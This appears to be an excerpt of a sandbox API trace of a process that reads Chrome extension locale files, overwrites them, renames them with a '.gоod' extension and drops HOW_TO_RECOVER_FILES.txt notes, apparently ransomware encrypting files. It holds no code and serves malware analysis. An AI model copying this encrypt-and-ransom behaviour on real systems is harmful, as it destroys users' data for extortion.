ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0261.070] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0261.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0261.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0261.070] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json", lpFilePart=0x0) returned 0x89 [0261.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0261.070] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3ade3f8 | out: lpFileInformation=0x3ade3f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55429128, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5542b168, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe2)) returned 1 [0261.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0261.070] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json", lpFilePart=0x0) returned 0x89 [0261.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0261.070] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0261.071] GetFileType (hFile=0x85c) returned 0x1 [0261.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0261.071] GetFileType (hFile=0x85c) returned 0x1 [0261.071] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xe2 [0261.071] ReadFile (in: hFile=0x85c, lpBuffer=0x3ade898, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3ade898*, lpNumberOfBytesRead=0x1f6e7648*=0xe2, lpOverlapped=0x0) returned 1 [0261.071] CloseHandle (hObject=0x85c) returned 1 [0261.596] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json", lpFilePart=0x0) returned 0x89 [0261.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0261.597] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0261.599] GetFileType (hFile=0x768) returned 0x1 [0261.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0261.599] GetFileType (hFile=0x768) returned 0x1 [0261.599] WriteFile (in: hFile=0x768, lpBuffer=0x38e4b48*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x38e4b48*, lpNumberOfBytesWritten=0x1f6e7558*=0xf0, lpOverlapped=0x0) returned 1 [0261.600] CloseHandle (hObject=0x768) returned 1 [0261.600] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json", lpFilePart=0x0) returned 0x89 [0261.600] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0261.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0261.600] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55429128, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5542b168, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x9822a0ee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0261.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0261.601] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.gоod")) returned 1 [0261.603] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0261.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0261.603] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0261.605] GetFileType (hFile=0x768) returned 0x1 [0261.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0261.605] GetFileType (hFile=0x768) returned 0x1 [0261.605] WriteFile (in: hFile=0x768, lpBuffer=0x38e8480*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x38e8480*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0261.606] CloseHandle (hObject=0x768) returned 1 [0261.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0261.606] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th", lpFilePart=0x0) returned 0x7b [0261.606] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5543548c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5543c9c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5543c9c1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0261.607] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5543548c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5543c9c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5543c9c1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.607] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5543c9c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5543e9e8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0261.607] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0261.607] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0261.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0261.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0261.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0261.607] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th", lpFilePart=0x0) returned 0x7b [0261.608] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5543548c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5543c9c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5543c9c1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b460 [0261.608] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5543548c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5543c9c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5543c9c1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.608] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5543c9c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5543e9e8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0261.608] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5543c9c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5543e9e8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0261.608] FindClose (in: hFindFile=0x134b460 | out: hFindFile=0x134b460) returned 1 [0261.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0261.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0261.608] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json", lpFilePart=0x0) returned 0x89 [0261.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0261.608] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x38f8450 | out: lpFileInformation=0x38f8450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5543c9c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5543e9e8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x104)) returned 1 [0261.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0261.609] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json", lpFilePart=0x0) returned 0x89 [0261.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0261.609] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0261.610] GetFileType (hFile=0x768) returned 0x1 [0261.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0261.610] GetFileType (hFile=0x768) returned 0x1 [0261.610] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0x104 [0261.610] ReadFile (in: hFile=0x768, lpBuffer=0x38f8910, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x38f8910*, lpNumberOfBytesRead=0x1f6e7648*=0x104, lpOverlapped=0x0) returned 1 [0261.610] CloseHandle (hObject=0x768) returned 1 [0261.997] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json", lpFilePart=0x0) returned 0x89 [0261.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0261.997] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0261.997] GetFileType (hFile=0x864) returned 0x1 [0261.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0261.997] GetFileType (hFile=0x864) returned 0x1 [0261.997] WriteFile (in: hFile=0x864, lpBuffer=0x3980c90*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3980c90*, lpNumberOfBytesWritten=0x1f6e7558*=0x110, lpOverlapped=0x0) returned 1 [0261.998] CloseHandle (hObject=0x864) returned 1 [0261.998] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json", lpFilePart=0x0) returned 0x89 [0261.998] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0261.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0261.998] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5543c9c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5543e9e8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x98609deb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0261.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0261.998] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.gоod")) returned 1 [0261.999] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0261.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0261.999] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0261.999] GetFileType (hFile=0x864) returned 0x1 [0261.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0262.000] GetFileType (hFile=0x864) returned 0x1 [0262.000] WriteFile (in: hFile=0x864, lpBuffer=0x39845c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x39845c8*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0262.000] CloseHandle (hObject=0x864) returned 1 [0262.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0262.001] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr", lpFilePart=0x0) returned 0x7b [0262.001] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, 